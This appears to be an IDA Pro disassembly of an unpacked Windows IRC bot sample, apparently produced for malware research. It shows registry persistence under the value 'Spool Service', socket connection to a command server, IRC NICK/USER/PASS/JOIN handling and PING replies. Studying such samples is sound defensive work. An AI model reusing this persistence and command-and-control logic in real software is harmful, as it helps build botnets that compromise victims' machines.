;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	FEF1EAD5FB19B69F66D9BBEED688AC4B

; File Name   :	u:\work\fef1ead5fb19b69f66d9bbeed688ac4b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000FF000 (1044480.)
; Section size in file		: 000FF000 (1044480.)
; Offset to raw	data for section: 00001000
; Flags	F0000040: Data Shareable Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: .nsp0:00401074p
					; .nsp0:00418B23p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429058
		xor	esi, esi
		mov	ebx, offset aSpoolService ; "Spool Service"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4D11A4	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B890
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4D1214	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4D1154	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_429070
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp

; ---------------------------------------------------------------------------


loc_401070:				; CODE XREF: .nsp0:00401086j
		push	dword ptr [esp+4]
		call	sub_401000
		pop	ecx
		push	dword_429050
		call	dword_427064	; Sleep
		jmp	short loc_401070

; =============== S U B	R O U T	I N E =======================================



sub_401088	proc near		; CODE XREF: sub_4010C3+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010BD
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4010A1:				; CODE XREF: sub_401088+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4010A1
		pop	edi
		pop	ebx


loc_4010BD:				; CODE XREF: sub_401088+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401088	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010C3	proc near		; CODE XREF: .nsp0:00416C4Cp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BBCB
		mov	[esp+10h+var_10], offset dword_429070
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BBB8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_401112


loc_4010E8:				; CODE XREF: sub_4010C3+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_401116
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BA78
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_401112
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B990
		add	esp, 10h
		jmp	short loc_4010E8
; ---------------------------------------------------------------------------


loc_401112:				; CODE XREF: sub_4010C3+23j
					; sub_4010C3+39j
		xor	eax, eax
		jmp	short loc_401131
; ---------------------------------------------------------------------------


loc_401116:				; CODE XREF: sub_4010C3+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401088
		push	esi
		mov	ebx, eax
		call	sub_41B961
		push	edi
		call	sub_41B90B
		add	esp, 10h
		mov	eax, ebx


loc_401131:				; CODE XREF: sub_4010C3+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401135	proc near		; DATA XREF: .nsp0:00401269o

var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h
arg_6A1474B8	= byte ptr  6A1474C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_44412C
		call	dword_4D1288	; closesocket
		call	sub_40B1D7
		call	dword_4D1148	; WSACleanup
		call	dword_4D1148	; WSACleanup
		mov	ebx, dword_427064
		push	64h
		call	ebx ; dword_427064
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_443398
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 0B40000h
		dec	ebp
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 0B40000h
		pop	ebp
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 0B40000h
		cmp	al, [ebp+arg_6A1474B8]
		db	64h
		call	ebx ; dword_427064
		push	[ebp+var_10]
		mov	esi, dword_42706C
		call	esi ; dword_42706C
		push	[ebp+var_C]
		call	esi ; dword_42706C
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443390
		mov	eax, [esp+10h+var_10]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_427068	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_40121D:				; DATA XREF: .nsp0:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418F1D
		pop	ecx
		mov	dword_4D0F20, eax
		pop	ecx
		retn
sub_401135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401239	proc near		; DATA XREF: .nsp0:00429008o
		jmp	$+5
sub_401239	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40123E	proc near
		push	0FFFFh
		push	539h
		call	sub_418F1D
		pop	ecx
		mov	dword_4D108C, eax
		pop	ecx
		retn
sub_40123E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-0Ch], offset sub_401135
		push	dword ptr [ebp-0Ch]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi ; dword_4270A8
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D0F24, eax
		call	esi ; dword_4270A8
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_409A6D
		push	2
		call	dword_4D129C	; SetErrorMode
		push	7530h
		push	offset aXxerooxx ; "XxerooxX"
		push	ebx
		push	ebx
		call	near ptr 0B40000h
		pop	esi
		push	eax
		call	near ptr 0B40000h
		enter	23Dh, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 75h
		dd 0FF016A08h, 42706815h, 78858D00h, 50FFFFF7h,	20268h
		dd 6015FF00h, 3B004D11h, 0F44589C3h, 5A6850Fh, 0BD800000h
		dd 0FFFFF778h, 93850F02h, 33000005h, 79858AC0h,	3CFFFFF7h
		dd 83850F02h, 0BE000005h, 104h,	0FC0C858Dh, 5056FFFFh
		dd 73ECDFE8h, 858D8D00h, 0FFFFFD10h, 0E8535056h, 73ECD0h
		dd 0C9E8505Bh, 0D10073ECh, 0F908858Dh, 8D50FFFFh, 0FFFA0885h
		dd 8D5350FFh, 0FFFD1085h, 0E85053FFh, 1AD2Dh, 0F908858Dh
		dd 8D50FFFFh, 0FFFA0885h, 0F86850FFh, 8D004301h, 0FFFB0885h
		dd 0E85056FFh, 1ACBCh, 0FC0C858Dh, 8D50FFFFh, 0FFFD1085h
		dd 29E850FFh, 830001ACh, 0C08530C4h, 1B8850Fh, 1D390000h
		dd 4D1094h, 429100BEh, 56317400h, 0E9E8FF33h, 830001A4h
		dd 745904E8h, 0ABE0E823h, 1A6A0001h, 0F9F75999h, 61C28056h
		dd 91009788h, 0E8470042h, 1A4C8h, 5904E883h, 0DD72F83Bh
		dd 0FC0C858Dh, 5056FFFFh, 0FE14858Dh, 0F068FFFFh, 50004301h
		dd 1AB4DE8h, 10C48300h,	0FE14858Dh, 0FF50FFFFh,	42709815h
		dd 0FFF88300h, 858D1274h, 0FFFFFE14h, 8068h, 0F1E85000h
		dd 0E60073EBh, 7090358Bh, 858D0042h, 0FFFFFE14h, 858D5053h
		dd 0FFFFFD10h, 0FF50FF33h, 75C085D6h, 8C15FF33h, 3B004270h
		dd 832975FBh, 57420F8h,	7505F883h, 5F016A1Fh, 3A9868h
		dd 6415FF00h, 8D004270h, 0FFFE1485h, 8D5053FFh,	0FFFD1085h
		dd 0C7EB50FFh, 0FE14858Dh, 0E850FFFFh, 175D3h, 14858D59h
		dd 6AFFFFFEh, 85E85007h, 9B0073EBh, 458D106Ah, 0E85053DCh
		dd 1A7B8h, 858D446Ah, 0FFFFFF18h, 5053565Eh, 1A7A7E8h
		dd 18C48300h, 0FF18B589h, 85C7FFFFh, 0FFFFFF24h, 443398h
		dd 489D8966h, 6AFFFFFFh, 0B5895E01h, 0FFFFFF44h, 73EB3FE8h
		dd 56505200h, 10000068h, 0EB32E800h, 8D260073h,	0FFFD108Dh
		dd 8D5051FFh, 0FFFE1485h, 858D50FFh, 0FFFFF674h, 4301E468h
		dd 47E85000h, 830001AAh, 458D14C4h, 858D50DCh, 0FFFFFF18h
		dd 0C858D50h, 50FFFFFCh, 56286A53h, 74858D53h, 53FFFFF6h
		dd 14858D50h, 50FFFFFEh, 73EAE3E8h, 0C085BF00h,	0C8682874h
		dd 0FF000000h, 42706415h, 0DC75FF00h, 706C358Bh, 0D6FF0042h
		dd 0FFE075FFh, 4815FFD6h, 53004D11h, 706815FFh,	3D830042h
		dd 4E1514h, 0A1437E02h,	4E1518h, 0E80470FFh, 1A8C9h, 6AF08B59h
		dd 95E856FFh, 3C0073EAh, 6C15FF56h, 0A1004270h,	4E1518h
		dd 74085839h, 7D06819h,	15FF0000h, 427064h, 4E1518A1h
		dd 870FF00h, 73EA6BE8h,	1D397A00h, 429090h, 1D391574h
		dd 4D12C0h, 858D0D75h, 0FFFFFB08h, 0FA4EE850h, 8D59FFFFh
		dd 0FFFF5C85h, 1C868FFh, 0E8500043h, 1A972h, 5C858D53h
		dd 53FFFFFFh, 9A3CE850h, 858D0000h, 0FFFFFF5Ch,	41C8E850h
		dd 80680001h, 5300000Bh, 4433A068h, 0A652E800h,	858D0001h
		dd 0FFFFFF5Ch, 4301A468h, 37E85000h, 530001A9h,	0FF5C858Dh
		dd 16AFFFFh, 9A00E850h,	0C4830000h, 8BF88B38h, 42707C35h
		dd 0F8458D00h, 68535350h, 41A289h, 0D6FF5353h, 234FF69h
		dd 0C33B0000h, 41348789h, 1B750044h, 708C15FFh,	8D500042h
		dd 0FFFF5C85h, 16468FFh, 0E8500043h, 1A8E6h, 8D0CC483h
		dd 0FFFF5C85h, 47E850FFh, 8D000141h, 0FFFF5C85h, 2404C7FFh
		dd 430138h, 0A8C4E850h,	8D530001h, 0FFFF5C85h, 50016AFFh
		dd 998DE8h, 14C48300h, 458DF88Bh, 535350F8h, 41AD3D68h
		dd 0FF535300h, 34FF69D6h, 3B000002h, 348789C3h,	75004441h
		dd 8C15FF1Bh, 50004270h, 0FF5C858Dh, 0FC68FFFFh, 50004300h
		dd 1A879E8h, 0CC48300h,	0FF5C858Dh, 0E850FFFFh,	140DAh
		dd 0FF5C858Dh, 4C7FFFFh, 4300D424h, 57E85000h, 530001A8h
		dd 0FF5C858Dh, 16AFFFFh, 9920E850h, 0C4830000h,	8DF88B14h
		dd 8D50F845h, 0FFFB0885h, 685053FFh, 401070h, 0D6FF5353h
		dd 234FF69h, 0C33B0000h, 41348789h, 1B750044h, 708C15FFh
		dd 8D500042h, 0FFFF5C85h, 9868FFh, 0E8500043h, 1A806h
		dd 8D0CC483h, 0FFFF5C85h, 67E850FFh, 0E8000140h, 1A84Eh
		dd 0B8687F6Ah, 68004290h, 4D0F2Ch, 10A41D89h, 45E8004Dh
		dd 0A10001A5h, 429074h,	0ACBF3F6Ah, 68004D0Fh, 4290C8h
		dd 107CA357h, 29E8004Dh, 6A0001A5h, 0FECBE3Fh, 0D068004Dh
		dd 56004290h, 1A517E8h,	28C48300h, 10801D89h, 5D89004Dh
		dd 0D81D39FCh, 75004D12h, 0EC458D16h, 15FF5053h, 4D112Ch
		dd 775C085h, 753068h, 682CEB00h, 4D0F28h, 10A01D89h, 0DEE8004Dh
		dd 83000000h, 458902F8h, 0BE840FF4h, 39000000h,	4D10A01Dh
		dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42706415h, 0FC45FF00h
		dd 6FC7D83h, 7D83A77Ch,	840F02F4h, 95h,	74F05D39h, 687F6A40h
		dd 4290B8h, 4D0F2C68h, 0A492E800h, 74A10001h, 6A004290h
		dd 90C8683Fh, 0A3570042h, 4D107Ch, 1A47BE8h, 683F6A00h
		dd 4290D0h, 0A46EE856h,	0C4830001h, 0F05D8924h,	0FFFF55E9h
		dd 0DC1D38FFh, 0F004290h, 0FFFF4984h, 687F6AFFh, 4290DCh
		dd 4D0F2C68h, 0A446E800h, 78A10001h, 6A004290h,	90EC683Fh
		dd 0A3570042h, 4D107Ch,	1A42FE8h, 683F6A00h, 4290F4h, 0A422E856h
		dd 0C4830001h, 0F045C724h, 1, 0FFFF05E9h, 9945E8FFh, 15FF0000h
		dd 4D1148h, 0C0335E5Fh,	10C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018A1	proc near		; DATA XREF: .nsp0:00408081o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4018C6:				; CODE XREF: sub_4018A1+E6j
					; sub_4018A1+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AA54
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_4019F3
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC40
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4D1098
		push	dword_42909C
		push	eax
		call	sub_40AFA5
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_444138
		push	edi
		push	eax
		call	sub_41BCA0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4D1270	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_44412C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40198C
		push	esi
		call	dword_4D1288	; closesocket
		call	sub_40AA7D
		push	7D0h


loc_401981:				; CODE XREF: sub_4018A1+146j
		call	dword_427064	; Sleep
		jmp	loc_4018C6
; ---------------------------------------------------------------------------


loc_40198C:				; CODE XREF: sub_4018A1+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_430200
		call	sub_41581A
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401A09
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4D1288	; closesocket
		test	edi, edi
		jz	loc_4018C6
		cmp	edi, 1
		jnz	short loc_4019E9
		push	0DBBA0h
		jmp	short loc_401981
; ---------------------------------------------------------------------------


loc_4019E9:				; CODE XREF: sub_4018A1+13Fj
		cmp	edi, 2
		jz	short loc_4019F7
		jmp	loc_4018C6
; ---------------------------------------------------------------------------


loc_4019F3:				; CODE XREF: sub_4018A1+5Aj
		xor	eax, eax
		jmp	short loc_401A03
; ---------------------------------------------------------------------------


loc_4019F7:				; CODE XREF: sub_4018A1+14Bj
		push	[ebp+var_34]
		call	sub_40B32A
		pop	ecx
		push	2
		pop	eax


loc_401A03:				; CODE XREF: sub_4018A1+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4018A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A09	proc near		; CODE XREF: sub_4018A1+123p

var_1990	= byte ptr -1990h
var_990		= byte ptr -990h
var_1C0		= byte ptr -1C0h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1990h
		call	sub_41C1D0
		push	ebx
		xor	ebx, ebx
		cmp	byte_4D109C, bl
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_120], bl
		jz	short loc_401A41
		push	offset byte_4D109C
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40998C
		add	esp, 0Ch


loc_401A41:				; CODE XREF: sub_401A09+21j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AFA5
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401AAB
		push	[ebp+arg_0]
		call	dword_4D1288	; closesocket
		push	1388h
		call	dword_427064	; Sleep


loc_401AA4:				; CODE XREF: sub_401A09+CCj
					; sub_401A09+146j
		xor	eax, eax


loc_401AA6:				; CODE XREF: sub_401A09+166j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401AAB:				; CODE XREF: sub_401A09+85j
					; sub_401A09+EBj ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1990]
		push	esi
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1990]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1208	; recv
		test	eax, eax
		jle	short loc_401AA4
		lea	eax, [ebp+var_990]
		push	eax
		lea	eax, [ebp+var_1990]
		push	eax
		call	sub_41872B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401AAB
		lea	edi, [ebp+var_990]


loc_401AFC:				; CODE XREF: sub_401A09+158j
		push	1
		pop	esi


loc_401AFF:				; CODE XREF: sub_401A09+137j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_401B74
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401B42
		push	7D0h
		call	dword_427064	; Sleep
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401B42:				; CODE XREF: sub_401A09+12Aj
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401B6C
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401B68
		cmp	esi, 0FFFFFFFFh
		jz	loc_401AA4
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401AFC
		jmp	loc_401AAB
; ---------------------------------------------------------------------------


loc_401B68:				; CODE XREF: sub_401A09+141j
		push	1
		jmp	short loc_401B6E
; ---------------------------------------------------------------------------


loc_401B6C:				; CODE XREF: sub_401A09+13Cj
		push	2


loc_401B6E:				; CODE XREF: sub_401A09+161j
		pop	eax
		jmp	loc_401AA6
sub_401A09	endp

; ---------------------------------------------------------------------------


loc_401B74:				; CODE XREF: sub_401A09+11Dp
		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41C1D0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0A8h], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A4h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-2C4h], ebx
		call	sub_41BC40
		push	1Bh
		lea	eax, [ebp-338h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_401D6C
		push	esi
		lea	eax, [ebp-4488h]
		push	ebx
		push	eax
		call	sub_41BC40
		dec	esi
		lea	eax, [ebp-4488h]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4488h]
		push	offset asc_433690 ; " :"
		push	eax
		call	sub_41BFB0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-4488h]
		push	esi
		push	eax
		lea	eax, [ebp-4AF0h]
		push	eax
		call	sub_41BCA0
		mov	esi, offset asc_43368C ; " "
		lea	eax, [ebp-4AF0h]
		push	esi
		push	eax
		call	sub_41C794
		add	esp, 34h
		mov	[ebp-90h], eax
		lea	edi, [ebp-8Ch]
		mov	dword ptr [ebp-2C8h], 1Fh


loc_401C47:				; CODE XREF: .nsp0:00401C5Bj
		push	esi
		push	ebx
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-2C8h]
		pop	ecx
		jnz	short loc_401C47
		mov	edi, [ebp-90h]
		cmp	edi, ebx
		jz	loc_401D6C
		mov	esi, [ebp-8Ch]
		cmp	esi, ebx
		jz	loc_401D6C
		push	100h
		lea	eax, [ebp-960h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	ecx, [ebp-14h]
		push	1Fh
		pop	edx


loc_401C94:				; CODE XREF: .nsp0:00401CCCj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401CC6
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401CCE
		cmp	[eax+2], bl
		jnz	short loc_401CCE
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	edi, [ebp-90h]
		mov	byte ptr [ebp+esi-960h], 1
		mov	esi, [ebp-8Ch]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401CC6:				; CODE XREF: .nsp0:00401C98j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401C94


loc_401CCE:				; CODE XREF: .nsp0:00401C9Dj
					; .nsp0:00401CA2j
		cmp	[ebp-8EDh], bl
		jz	short loc_401CDD
		mov	dword ptr [ebp-8], 1


loc_401CDD:				; CODE XREF: .nsp0:00401CD4j
		cmp	[ebp-8F2h], bl
		jz	short loc_401CEF
		mov	[ebp-8], ebx
		mov	dword ptr [ebp-4], 1


loc_401CEF:				; CODE XREF: .nsp0:00401CE3j
		cmp	byte ptr [edi],	0Ah
		jz	short loc_401D29
		push	7Fh
		lea	eax, [ebp-0E00h]
		push	edi
		push	eax
		call	sub_41BCA0
		lea	eax, [edi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0C0h]
		push	offset dword_42C2D0
		push	eax
		call	sub_41C794
		add	esp, 20h


loc_401D29:				; CODE XREF: .nsp0:00401CF2j
		push	edi
		push	offset aPing	; "PING"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D74
		push	esi
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		mov	byte ptr [edi+1], 4Fh
		call	sub_40998C
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	short loc_401D6C


loc_401D56:				; CODE XREF: .nsp0:00401EF1j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401D61:				; CODE XREF: .nsp0:0040211Aj
					; .nsp0:004023D7j ...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C


loc_401D69:				; CODE XREF: .nsp0:00404003j
					; .nsp0:00404020j ...
		add	esp, 10h


loc_401D6C:				; CODE XREF: .nsp0:00401BCFj
					; .nsp0:00401C65j ...
		push	1


loc_401D6E:				; CODE XREF: .nsp0:00404558j
		pop	eax


loc_401D6F:				; CODE XREF: .nsp0:0040457Aj
					; .nsp0:00406C98j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401D74:				; CODE XREF: .nsp0:00401D38j
		push	esi
		push	offset a001	; "001"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409944
		push	esi
		push	offset a005	; "005"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409944
		push	esi
		push	offset a302	; "302"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DD9
		push	offset a@_6	; "@"
		push	dword ptr [ebp-84h]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6C
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]


loc_401DCF:				; CODE XREF: .nsp0:00401F8Ej
		call	sub_41BCA0


loc_401DD4:				; CODE XREF: .nsp0:00403706j
		add	esp, 0Ch
		jmp	short loc_401D6C
; ---------------------------------------------------------------------------


loc_401DD9:				; CODE XREF: .nsp0:00401DADj
		push	esi
		push	offset a433	; "433"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E17
		push	ebx
		push	dword_4D1098
		push	dword_42909C
		push	dword ptr [ebp+18h]
		call	sub_40AFA5
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 1Ch
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_401E17:				; CODE XREF: .nsp0:00401DE8j
		mov	edi, [ebp+20h]
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
